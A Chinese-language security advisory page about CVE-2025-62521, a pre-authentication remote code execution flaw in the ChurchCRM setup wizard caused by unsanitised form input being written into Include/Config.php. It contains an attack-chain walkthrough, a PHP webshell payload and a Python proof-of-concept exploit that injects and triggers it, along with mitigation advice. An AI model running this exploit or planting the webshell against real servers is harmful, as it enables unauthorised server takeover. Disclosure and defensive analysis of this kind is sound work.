IPBUF安全漏洞报告
English
CVE-2025-62521 CVSS 10.0 严重

CVE-2025-62521 ChurchCRM 5.21.0前版本setup向导预认证RCE漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-62521
漏洞类型
远程代码执行
CVSS评分
10.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ChurchCRM

相关标签

远程代码执行预认证漏洞配置注入ChurchCRMPHPCVE-2025-62521Setup WizardWeb安全

漏洞概述

ChurchCRM是一款开源教会管理系统。在5.21.0版本之前,存在一处严重的预认证远程代码执行漏洞。该漏洞位于安装向导模块(setup/routes/setup.php)中,攻击者可以在未获得任何认证凭证的情况下,通过构造恶意请求在服务器上注入并执行任意PHP代码。漏洞的根本原因在于用户输入在配置生成过程中未经任何过滤或转义,直接拼接到PHP配置文件模板中。被注入的恶意代码会被写入Include/Config.php文件,并在每次页面加载时执行,最终导致服务器被完全攻陷。由于该漏洞影响安装初始化过程,而管理员必须完成安装才能使用系统,因此危害极大。任何可访问安装向导页面的攻击者都能在短时间内获得服务器完全控制权。

技术细节

该漏洞属于经典的配置注入型远程代码执行。漏洞点位于ChurchCRM的安装向导处理逻辑中,具体为setup/routes/setup.php文件。当管理员首次安装ChurchCRM时,需要填写包括数据库配置、管理员账户等信息在内的表单。问题在于,程序直接将用户提交的表单参数值拼接到PHP配置模板中,生成Include/Config.php文件。由于没有任何输入验证机制,攻击者可以在任意表单字段中注入PHP代码。例如,在数据库主机名字段中填入<?php phpinfo(); ?>,这段代码就会被写入配置文件。当Web应用加载时,该文件会被包含执行,从而触发注入的代码。攻击者通常会注入webshell或反弹shell命令来建立持久化连接,实现对服务器的完全控制。由于漏洞发生在安装阶段,此时系统尚未创建任何认证机制,因此任何未授权访问者都可以发起攻击。修复后的5.21.0版本增加了输入过滤和参数化处理机制,避免了用户输入直接进入配置文件。

攻击链分析

STEP 1
步骤1
攻击者访问目标服务器的ChurchCRM安装向导页面setup/routes/setup.php,此时系统尚未完成初始化,没有任何认证保护
STEP 2
步骤2
攻击者构造恶意请求,在任意表单参数(如数据库主机名字段)中注入PHP webshell代码,如<?php system($_GET['cmd']); ?>
STEP 3
步骤3
服务器端将注入的代码直接拼接到PHP配置文件Include/Config.php中,由于缺少输入过滤,恶意代码被原样写入
STEP 4
步骤4
当任何用户访问ChurchCRM站点时,Include/Config.php被加载执行,注入的webshell随之激活
STEP 5
步骤5
攻击者通过URL参数传递系统命令(如?cmd=whoami),在服务器上执行任意操作系统命令,实现完全控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-62521 PoC - ChurchCRM Pre-Auth RCE via Setup Wizard # Target: ChurchCRM < 5.21.0 # Vulnerability: Unauthenticated RCE via setup.php configuration injection TARGET = "http://target-server/churchcrm" PAYLOAD = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" def exploit(): print(f"[*] Targeting: {TARGET}") print(f"[*] Attempting RCE injection...") # Step 1: Initialize setup session setup_url = f"{TARGET}/setup/routes/setup.php" # Step 2: Inject PHP payload via form parameter # The 'sHostname' or any form field can be used for injection data = { 'action': 'save', 'sHostname': PAYLOAD, # Injecting PHP code 'sUser': 'root', 'sPassword': 'password', 'sName': 'churchdb', 'bNewDatabase': 'true' } try: response = requests.post(setup_url, data=data, timeout=10) print(f"[+] Request sent, status: {response.status_code}") # Step 3: Trigger the injected payload config_url = f"{TARGET}/Include/Config.php" trigger = requests.get(config_url, params={'cmd': 'whoami'}) if trigger.status_code == 200: print(f"[+] VULNERABLE! RCE confirmed") print(f"[+] Config file accessible at: {config_url}") else: print(f"[-] Target may not be vulnerable") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()

影响范围

ChurchCRM < 5.21.0

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时措施:1)确保安装向导不可被公网访问,可通过IP白名单或防火墙规则限制;2)完成安装后立即删除setup目录;3)监控Web服务器访问日志,关注异常的setup.php请求;4)如果怀疑已被攻击,立即检查Include/Config.php文件内容,查找可疑的PHP代码;5)考虑使用静态应用安全测试(SAST)工具扫描代码中的不安全输入处理。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表